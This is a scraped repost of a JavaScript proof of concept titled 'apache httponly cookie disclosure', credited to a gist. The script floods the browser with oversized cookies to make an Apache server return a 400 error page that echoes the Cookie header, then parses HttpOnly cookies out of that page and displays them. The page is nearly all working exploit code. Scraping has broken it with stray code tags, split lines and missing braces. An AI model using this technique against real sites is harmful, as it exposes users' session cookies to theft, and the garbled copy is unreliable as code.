天天看點

apache httponly cookie disclosure

<code>// Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08</code>

<code>// Most browsers limit cookies to 4k characters, so we need multiple</code>

<code>function setCookies (good) {</code>

<code>    </code><code>// Construct string for cookie value</code>

<code>    </code><code>var str = "";</code>

<code>    </code><code>for (var i=0; i&lt;</code><code>819</code><code>; i++) {</code>

<code>        </code><code>str += "x";</code>

<code>    </code><code>}</code>

<code>    </code><code>// Set cookies</code>

<code>    </code><code>for (</code><code>i</code>

<code>=</code><code>0</code><code>; i &lt; 10; i++) {</code>

<code>        </code><code>// Expire evil cookie</code>

<code>        </code><code>if (good) {</code>

<code>            </code><code>var</code><code>cookie</code> <code>=</code><code>"xss"</code><code>+i+"=;</code><code>expires</code><code>=</code><code>"+new Date(+new Date()-1).toUTCString()+"</code><code>; path=/;";</code>

<code>        </code><code>}</code>

<code>        </code><code>// Set evil cookie</code>

<code>        </code><code>else {</code>

<code>            </code><code>var</code><code>cookie</code> <code>=</code><code>"xss"</code><code>+i+"="+str+";path=/";</code>

<code>        </code><code>document.cookie</code>

<code>= cookie;</code>

<code>}</code>

<code>function makeRequest() {</code>

<code>    </code><code>setCookies();</code>

<code>    </code><code>function parseCookies () {</code>

<code>        </code><code>var cookie_dict = {};</code>

<code>        </code><code>// Only react on 400 status</code>

<code>        </code><code>if (xhr.readyState === 4 &amp;&amp; xhr.status === 400) {</code>

<code>            </code><code>// Replace newlines and match &lt;pre&gt; content</code>

<code>            </code><code>var content = xhr.responseText.replace(/\r|\n/g,'').match(/&lt;</code><code>pre</code><code>&gt;(.+)&lt;\/pre&gt;/);</code>

<code>            </code><code>if (content.length) {</code>

<code>                </code><code>// Remove Cookie: prefix</code>

<code>                </code><code>content = content[1].replace("Cookie: ", "");</code>

<code>                </code><code>var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);</code>

<code>                </code><code>// Add cookies to object</code>

<code>                </code><code>for (var i=0; i&lt;cookies.length; i++) {</code>

<code>                    </code><code>var s_c = cookies[i].split('=',2);</code>

<code>                    </code><code>cookie_dict[s_c[0]] = s_c[1];</code>

<code>                </code><code>}</code>

<code>            </code><code>}</code>

<code>            </code><code>// Unset malicious cookies</code>

<code>            </code><code>setCookies(true);</code>

<code>            </code><code>alert(JSON.stringify(cookie_dict));</code>

<code>    </code><code>// Make XHR request</code>

<code>    </code><code>var xhr = new XMLHttpRequest();</code>

<code>    </code><code>xhr.onreadystatechange = parseCookies;</code>

<code>    </code><code>xhr.open("GET", "/", true);</code>

<code>    </code><code>xhr.send(null);</code>

<code>makeRequest();</code>